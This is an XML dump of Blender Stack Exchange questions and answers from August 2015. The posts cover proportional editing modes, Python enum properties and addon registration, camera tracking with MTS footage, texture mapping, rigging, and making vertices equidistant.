  <row Id="35217" PostTypeId="1" AcceptedAnswerId="35218" CreationDate="2015-08-06T20:45:46.577" Score="4" ViewCount="871" Body="&lt;p&gt;I wonder how does the &lt;strong&gt;&lt;em&gt;Projected (2D)&lt;/em&gt;&lt;/strong&gt; mode of the &lt;strong&gt;&lt;em&gt;Proportional Editing&lt;/em&gt;&lt;/strong&gt; exactly work?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6Rlgs.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Rlgs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a description somewhere on the net, which says: &lt;strong&gt;&lt;em&gt;''Projected (2D): Its effect won't depend on the mesh, but on the point of view which you're looking at the mesh.''&lt;/em&gt;.&lt;/strong&gt; What does it mean? What is a difference between this mode and a simple proportional editing mode (which you enable using the &lt;kbd&gt;O&lt;/kbd&gt; button)? Tried to compare them, but with no different results.&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-08-06T22:54:15.300" Title="How does the Projected (2D) mode of the Proportional Editing works?" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35218" PostTypeId="2" ParentId="35217" CreationDate="2015-08-06T21:07:09.740" Score="7" Body="&lt;p&gt;To explain it, here's an example of &lt;strong&gt;&lt;em&gt;Connected&lt;/em&gt;&lt;/strong&gt; mode. I'm pulling one vertex on the right side view of the image. Notice the effect on the left screen: it works like the standard mode for proportional editing, the vertices within the influence circle will be transformed proportionally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dGEym.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dGEym.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;strong&gt;&lt;em&gt;Projected 2D&lt;/em&gt;&lt;/strong&gt; mode, doing the same action results in a transformation of all the vertices aligned on the view and within the circle.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fSGnn.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fSGnn.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-08-06T22:54:15.300" LastActivityDate="2015-08-06T22:54:15.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35219" PostTypeId="2" ParentId="35118" CreationDate="2015-08-06T21:25:15.710" Score="1" Body="&lt;p&gt;If only a single .blend uses your property, tick the &lt;em&gt;Register&lt;/em&gt; checkbox for the script in &lt;em&gt;Text Editor&lt;/em&gt;. The text datablock name &lt;strong&gt;must end with &lt;code&gt;.py&lt;/code&gt;!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script will be run when the .blend is loaded. Note that auto-run is disabled by default. Click &lt;em&gt;Reload Trusted&lt;/em&gt; in the &lt;em&gt;Info&lt;/em&gt; header and confirm (&lt;em&gt;Revert&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def my_enum_cb(self, context):&#xA;    print(self, self.my_enum, context)&#xA;&#xA;bpy.types.PoseBone.my_enum = bpy.props.EnumProperty(&#xA;    items=(&#xA;        ('identi_1', 'Name 1', 'Descript 1'),&#xA;        ('identi_2', 'Name 2', 'Descript 2'),&#xA;        ('identi_3', 'Name 3', 'Descript 3'),&#xA;    ),&#xA;    name=&quot;My Enum&quot;,&#xA;    default=&quot;identi_2&quot;,&#xA;    update=my_enum_cb&#xA;)&#xA;&#xA;bpy.data.objects[&quot;Armature&quot;].pose.bones[&quot;Bone&quot;].my_enum = &quot;identi_3&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need this property to be globally available, turn the code into an addon, install and enable it. Don't forget to save user prefs after enabling it, or you will have to tick the checkbox every time you start Blender:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;My Enum Addon&quot;,&#xA;    &quot;author&quot;: &quot;Your Name Here&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 75, 0),&#xA;    &quot;location&quot;: &quot;&quot;,&#xA;    &quot;description&quot;: &quot;&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Rigging&quot;,&#xA;}&#xA;&#xA;import bpy&#xA;&#xA;# Define our own panel (optional)&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Bone properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;bone&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        pbone = context.active_pose_bone&#xA;        if pbone is not None:&#xA;            layout.prop(pbone, &quot;my_enum&quot;)&#xA;        else:&#xA;            layout.label(&quot;No active PoseBone.&quot;)&#xA;&#xA;&#xA;def my_enum_cb(self, context):&#xA;    print(self, self.my_enum, context)&#xA;&#xA;&#xA;def register():&#xA;    bpy.types.PoseBone.my_enum = bpy.props.EnumProperty(&#xA;        items=(&#xA;            ('identi_1', 'Name 1', 'Descript 1'),&#xA;            ('identi_2', 'Name 2', 'Descript 2'),&#xA;            ('identi_3', 'Name 3', 'Descript 3'),&#xA;        ),&#xA;        name=&quot;My Enum&quot;,&#xA;        default=&quot;identi_2&quot;,&#xA;        update=my_enum_cb&#xA;    )&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.PoseBone.my_enum&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # This is not supposed to be done in an addon.&#xA;    # Every access to bpy.data and bpy.contet during init is prohibited.&#xA;    #bpy.data.objects[&quot;Armature&quot;].pose.bones[&quot;Bone&quot;].my_enum = &quot;identi_3&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-08-06T21:25:15.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35220" PostTypeId="1" AcceptedAnswerId="35229" CreationDate="2015-08-06T21:53:43.247" Score="5" ViewCount="907" Body="&lt;p&gt;First, I'm a newb to tracking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I tracked my scene with a .3 solve rate.&#xA;I dropped in a cube and rendered out a short animation... looked great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I readjusted the position of my cube... nothing more... and now my track is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All tracking points were locked, I did not resolve the scene... just suddenly my object is wobbling all over in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going back to my LOCKED tracking points, they are no longer staying put.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else seen this?  Has happened on 2 machines, same reproduction steps.&#xA;This last one was first time I tried locking the tracking points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Memory issue?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.legacyoffun.com/download/stackexchange/blender/tracking.blend&quot; rel=&quot;nofollow&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.legacyoffun.com/download/stackexchange/blender/footage.MTS&quot; rel=&quot;nofollow&quot;&gt;Original footage (40mb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16200" LastEditorDisplayName="user1853" LastEditDate="2015-08-07T23:37:04.933" LastActivityDate="2015-08-07T23:37:04.933" Title="camera track - was good, but breaks after editing an object" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35221" PostTypeId="1" AcceptedAnswerId="35222" CreationDate="2015-08-06T21:56:32.043" Score="1" ViewCount="1096" Body="&lt;p&gt;I am watching a tutorial on how to UV map a model and I have this horse I created.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nCOsp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nCOsp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;There should be a section named 'Surface' beneath the section named 'Preview' which is required to select the image. I have tried restarting blender and it just isn't there. I really hope that I don't have to re install blender.&lt;/p&gt;&#xA;" OwnerUserId="16199" LastActivityDate="2015-08-06T22:44:01.700" Title="Cannot apply image to material" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-08-07T00:04:54.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="35222" PostTypeId="2" ParentId="35221" CreationDate="2015-08-06T22:04:16.303" Score="3" Body="&lt;p&gt;Once you've created a material go to the texture section, and create a new texture -&gt;image. The texture will now be associated with the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NK8Ys.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NK8Ys.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the image you want to use and then you need to assign some coordinates for the texture mapping and what kind of influence the texture is going to have on the material, the default is Color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/a1YrZ.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a1YrZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;   &lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-08-06T22:44:01.700" LastActivityDate="2015-08-06T22:44:01.700" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35223" PostTypeId="1" AcceptedAnswerId="35233" CreationDate="2015-08-06T22:08:36.247" Score="3" ViewCount="1575" Body="&lt;p&gt;First time bpy user here.. working on a small automated pipeline. Most of it is already in place, including a database and a PHP framework that provides data for use by the Python code below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My intent in this particular part is to download JSON lists of projects, asset types, assets, tasks and task statuses, and to load them into dropdown lists inside Blender. Selecting the appropriate values in these dropdowns then saves the file into the correct directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I'm posting here is a mixture of a variety of answers to questions much like this one. However, none of it seems to work as my dropdown lists simply don't show up. There are no errors, but also no dropdowns. From what I've seen, there seem to be quite a few ways to do this, but I can't figure out what exactly I'm doing wrong or what is the generally accepted way of accomplishing this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Imports&#xA;import bpy, requests&#xA;from bpy.types import Panel, Operator&#xA;from bpy.props import EnumProperty&#xA;&#xA;base_url = &quot;http://my.fancy.base.url/&quot;&#xA;&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;Pipeline&quot;,&#xA;    &quot;description&quot;: &quot;Asset management for Blender&quot;,&#xA;    &quot;author&quot;: &quot;Sam&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 75, 0),&#xA;    &quot;location&quot;: &quot;File Browser&quot;,&#xA;    &quot;category&quot;: &quot;System&quot;&#xA;}&#xA;&#xA;class FILEBROWSER_PT_Pipeline(Panel):&#xA;&#xA;    bl_space_type = 'FILE_BROWSER'&#xA;    bl_region_type = 'TOOLS'&#xA;    bl_label = &quot;Asset management&quot;&#xA;    bl_category = &quot;Pipeline tools&quot;&#xA;&#xA;    def draw(self, context):&#xA;        l = self.layout&#xA;        # Draw project dropdown&#xA;        r = l.row(align = True)&#xA;        r.prop(context.scene, &quot;PL_Project&quot;)&#xA;        # Draw type dropdown&#xA;        r = l.row(align = True)&#xA;        r.prop(context.scene, &quot;PL_Type&quot;)&#xA;        # Draw asset dropdown&#xA;        r = l.row(align = True)&#xA;        r.prop(context.scene, &quot;PL_Asset&quot;)&#xA;        # Draw task dropdown&#xA;        r = l.row(align = True)&#xA;        r.prop(context.scene, &quot;PL_Task&quot;)&#xA;        # Draw status dropdown&#xA;        r = l.row(align = True)&#xA;        r.prop(context.scene, &quot;PL_Status&quot;)&#xA;&#xA;# Callbacks for dropdown changes&#xA;&#xA;def change_project_list(self, context):&#xA;    return [(p['p_project'], p['project_reference'], p['project_name']) for p in bpy.data.scenes[&quot;Scene&quot;].PL_Project_List]&#xA;&#xA;def change_type_list(self, context):&#xA;    return [(ty['p_type'], ty['type_reference'], ty['type_name']) for ty in bpy.data.scenes[&quot;Scene&quot;].PL_Type_List]&#xA;&#xA;def change_asset_list(self, context):&#xA;    return [(a['p_asset'], a['asset_reference'], a['asset_name']) for a in bpy.data.scenes[&quot;Scene&quot;].PL_Asset_List]&#xA;&#xA;def change_task_list(self, context):&#xA;    return [(ta['p_task'], ta['task_reference'], ta['task_name']) for ta in bpy.data.scenes[&quot;Scene&quot;].PL_Task_List]&#xA;&#xA;def change_status_list(self, context):&#xA;    return [(s['p_status'], s['status_reference'], s['status_name']) for s in bpy.data.scenes[&quot;Scene&quot;].PL_Status_List]&#xA;&#xA;# Registration&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;# Let's go&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;    # Download lists&#xA;    bpy.data.scenes[&quot;Scene&quot;].PL_Project_List = requests.get(base_url + &quot;tool/get-projects&quot;).json()&#xA;    bpy.data.scenes[&quot;Scene&quot;].PL_Type_List = requests.get(base_url + &quot;tool/get-types/&quot; + bpy.data.scenes[&quot;Scene&quot;].PL_Project).json()&#xA;    bpy.data.scenes[&quot;Scene&quot;].PL_Asset_List = requests.get(base_url + &quot;tool/get-assets/&quot; + bpy.data.scenes[&quot;Scene&quot;].PL_Project + &quot;/&quot; + bpy.types.Scene.PL_Type).json()&#xA;    bpy.data.scenes[&quot;Scene&quot;].PL_Task_List = requests.get(base_url + &quot;tool/get-tasks/&quot; + bpy.data.scenes[&quot;Scene&quot;].PL_Asset).json()&#xA;    bpy.data.scenes[&quot;Scene&quot;].PL_Status_List = requests.get(base_url + &quot;tool/get-statuses&quot;).json()&#xA;    # Create dropdowns with update callbacks&#xA;    bpy.types.Scene.PL_Project = EnumProperty(items = change_project_list, name = &quot;Project&quot;)&#xA;    bpy.types.Scene.PL_Type = EnumProperty(items = change_type_list, name = &quot;Type&quot;)&#xA;    bpy.types.Scene.PL_Asset = EnumProperty(items = change_asset_list, name = &quot;Asset&quot;)&#xA;    bpy.types.Scene.PL_Task = EnumProperty(items = change_task_list, name = &quot;Task&quot;)&#xA;    bpy.types.Scene.PL_Status = EnumProperty(items = change_status_list, name = &quot;Status&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16201" LastActivityDate="2015-08-07T08:37:32.543" Title="What's the correct way of implementing dynamic dropdown menus in Python?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35224" PostTypeId="1" CreationDate="2015-08-06T23:17:46.760" Score="5" ViewCount="3338" Body="&lt;p&gt;a link to an example of the desired cement can be found here:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/24382/how-to-create-and-animate-the-water-reflection-on-an-object&quot;&gt;How to create and animate the water reflection (Caustics) on an object?&lt;/a&gt;&#xA;Note the cement next to the water....looks realistic, faded, warn, paint chipped,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this &quot;cement shader&quot; would of course be added ontop of an image texture(shown below&lt;a href=&quot;https://i.stack.imgur.com/VlQ4L.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VlQ4L.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above the desired cement...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below, the result I have so far with just the image texture(yellow+black caution) and basic shader(gloss)&lt;a href=&quot;https://i.stack.imgur.com/82yFg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/82yFg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15874" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-08-10T04:12:36.493" Title="How can I make a realistic cement shader with old/cracks/crumbling/paint chipping on top of a texture?" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35225" PostTypeId="1" AcceptedAnswerId="79190" CreationDate="2015-08-07T00:03:24.943" Score="2" ViewCount="9226" Body="&lt;p&gt;I am trying to rig this horse model I made (first model I have made as of now) and whenever I try to select a single bone it automatically selects its parents and children bones along with it.&lt;a href=&quot;https://i.stack.imgur.com/zA0xS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zA0xS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;I still have to fix the ears, mouth, and tail but before I do that I would like to rig the legs and neck. Please help.&lt;/p&gt;&#xA;&lt;p&gt;EDIT: I made sure that all my bones were in pose mode.&#xA;EDIT 2: After much tinkering I got it to automatically assign weights that I could then edit but I could not create my own weights.&lt;/p&gt;&#xA;" OwnerUserId="16199" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-09-05T07:04:27.817" Title="Blender won't allow me to select a single bone" Tags="&lt;rigging&gt;" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="35227" PostTypeId="1" CreationDate="2015-08-07T01:49:57.247" Score="2" ViewCount="562" Body="&lt;p&gt;I try to map an image texture to an Empty object (a plain axes) in blender. However, unlike procedural textures, the image texture appears streaky. Here is a picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pVG5k.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pVG5k.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture is supposed to be some light brown tiles. A picture of what the texture (kind of) looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ztabz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ztabz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image is stretched. I have another project that has the same texture in it, and it is different sizes on different objects. Here is a picture of that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qaame.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qaame.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the blender Internal rendering engine.&lt;/p&gt;&#xA;" OwnerUserId="6014" LastActivityDate="2015-08-07T23:42:16.813" Title="Can Image textures be mapped to empty object like procederual textures?" Tags="&lt;texturing&gt;&lt;objects&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35228" PostTypeId="1" AcceptedAnswerId="35232" CreationDate="2015-08-07T03:12:59.020" Score="7" ViewCount="970" Body="&lt;p&gt;I'm trying to model a pen holder that came with my graphic tablet. After editing and extruding a UV sphere, I end up with a flat bottom that's not perfectly circular (because of some proportional editing I did before extruding). I've highlighted where the errors are in red. How can I make all the vertices on this flat bottom equidistant from a given center (and therefore aligned in a circle)? Here's the Dropbox &lt;a href=&quot;https://www.dropbox.com/s/dfk02reo1t701ub/pen%20holder%2C%201.blend?dl=0&quot; rel=&quot;noreferrer&quot;&gt;link&lt;/a&gt; to the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BWD60.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BWD60.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to scale all the vertices to 0 while in Bottom Ortho view, but I can't scale them back up to get the equidistant points I want. The only other alternative I can think of is to extrude a part of the mesh while it's still circular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/e4zsT.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e4zsT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14896" LastActivityDate="2015-08-07T06:23:44.893" Title="How do I make vertices equidistant from a given center?" Tags="&lt;modeling&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35229" PostTypeId="2" ParentId="35220" CreationDate="2015-08-07T03:19:23.707" Score="5" Body="&lt;p&gt;This looks like a bug, but here's a workaround:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you open the file don't try to playback the scene or move a frame within the timeline. Instead switch to the Motion Tracking preset and in the the &lt;strong&gt;movieclip editor&lt;/strong&gt; select your video clip and press &lt;strong&gt;&lt;kbd&gt;P&lt;/kbd&gt;&lt;/strong&gt; to &lt;strong&gt;cache&lt;/strong&gt; or &lt;strong&gt;Prefetch&lt;/strong&gt; the video clip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XVB9T.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XVB9T.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H9qK9.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H9qK9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the bottom of the window you'll see a purple line indicating the prefetched frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EZV2I.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EZV2I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prefetching will load all of the frames into RAM and that will help you keep the trackers in place. The issue has to do with the video being in a &lt;em&gt;delivery&lt;/em&gt; format (mts) in which the video is encoded using I, B, and P frames, which means that the information of a particular frame is not complete in every frame but is reconstructed using information from some preceding and subsequent frames. It's been optimized for playback using prediction vectors and crap like that. The sort story is that Blender needs to read the whole stream to have each frame land in the right place. For a more technical explanation &lt;a href=&quot;http://telestreamblog.telestream.net/2012/04/save-yourself-frustration-use-editing-formats-when-editing-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;read this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt; by default blender will only use 1GB of RAM to cache frames. You can change that number depending on the amount of memory on your system. To do that open the User prefences (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;) and on the System tab you'll see the options for the prefetch and cache limits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X7mYT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X7mYT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other options you have to prevent this issue is to convert your MTS video file into an image sequence or a video file that uses &lt;a href=&quot;http://www.batchframe.com/quick-tips/tip.php?t=3&quot; rel=&quot;nofollow noreferrer&quot;&gt;intra-frame&lt;/a&gt; compression codec.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said this is likely a bug. You can &lt;a href=&quot;https://blender.stackexchange.com/questions/1377/best-place-to-put-bug-reports&quot;&gt;report it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-08-07T05:22:28.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35230" PostTypeId="1" AcceptedAnswerId="35269" CreationDate="2015-08-07T05:25:48.860" Score="1" ViewCount="298" Body="&lt;p&gt;I am generating a large network of vertices and edges in another app and exporting them into a Wavefront (*.obj) file for import into Blender. All the vertices are in a group, say &quot;nodes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to, after importing the .obj and selecting all the vertices in the &quot;nodes&quot; group, to dynamically link them to an object in another Blender file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are hundreds of these vertices and so adding objects at all their locations isn't feasible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If working with plain unconnected vertices is a problem, I can replaces them with small cubes or something.  The point is to later convert them into dynamically linked objects to anything else of my choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: The main point is to just save time and resources when dealing with 1000's of duplicated objects that I may need to modify later.  So, the answer doesn't have to fit the question 100%, e.g., the dynamically linked part is optional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&#xA;Al&lt;/p&gt;&#xA;" OwnerUserId="16182" LastEditorUserId="16182" LastEditDate="2015-08-08T00:26:17.637" LastActivityDate="2015-08-08T00:26:17.637" Title="Import vertices from .OBJ and then convert all to dynamically linked objects" Tags="&lt;import&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35231" PostTypeId="1" CreationDate="2015-08-07T05:48:04.663" Score="2" ViewCount="809" Body="&lt;p&gt;I have made these steps and I'd like to fit them better to the curved shape of the structure they are attached to by bending them to a curve. Is there a tool that would allow me to do this in one go? How would one go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b1fhJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b1fhJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16192" LastActivityDate="2015-08-07T07:24:24.657" Title="Warp/Bend Objects?" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-07T13:10:07.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="35232" PostTypeId="2" ParentId="35228" CreationDate="2015-08-07T06:23:44.893" Score="9" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the ring of vertices&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;. Then hit &lt;kbd&gt;1&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or &lt;em&gt;Mesh &gt; Transform &gt; To Sphere&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-07T06:23:44.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
